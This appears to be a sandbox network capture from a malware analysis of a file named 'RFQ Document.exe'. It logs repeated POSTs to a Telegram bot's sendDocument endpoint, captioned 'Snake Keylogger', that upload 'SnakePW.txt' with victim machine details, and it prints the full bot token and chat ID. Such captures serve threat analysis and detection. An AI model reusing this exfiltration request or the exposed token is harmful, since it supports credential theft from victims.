2021-09-28 05:58:32 UTC	75	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:32 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:32 UTC	76	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12628,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808712,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49824	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:32 UTC	76	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c8b34098 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:32 UTC	77	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 38 62 33 34 30 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c8b34098Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:32 UTC	77	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:32 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:32 UTC	77	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12629,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808712,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49825	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:32 UTC	78	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c8e08d43 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:32 UTC	78	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 38 65 30 38 64 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c8e08d43Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:32 UTC	79	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:32 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:32 UTC	79	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12630,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808712,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49779	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:21 UTC	7	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c27117cd Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:21 UTC	8	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 32 37 31 31 37 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c27117cdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:21 UTC	8	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:21 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:21 UTC	8	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12584,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808701,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49826	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:32 UTC	79	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c925b1c0 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:33 UTC	80	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 39 32 35 62 31 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c925b1c0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:33 UTC	80	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:33 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:33 UTC	81	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12631,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808713,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49827	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:33 UTC	81	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c963ae9b Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:33 UTC	81	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 39 36 33 61 65 39 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c963ae9bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:33 UTC	82	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:33 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:33 UTC	82	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12632,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808713,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49828	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:33 UTC	83	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c9804bda Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:33 UTC	83	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 39 38 30 34 62 64 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c9804bdaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:33 UTC	83	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:33 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:33 UTC	84	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12633,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808713,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49829	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:33 UTC	84	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c99f48fa Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:33 UTC	85	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 39 39 66 34 38 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c99f48faContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:33 UTC	85	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:33 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:33 UTC	85	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 33 2c 22 64 Data Ascii: 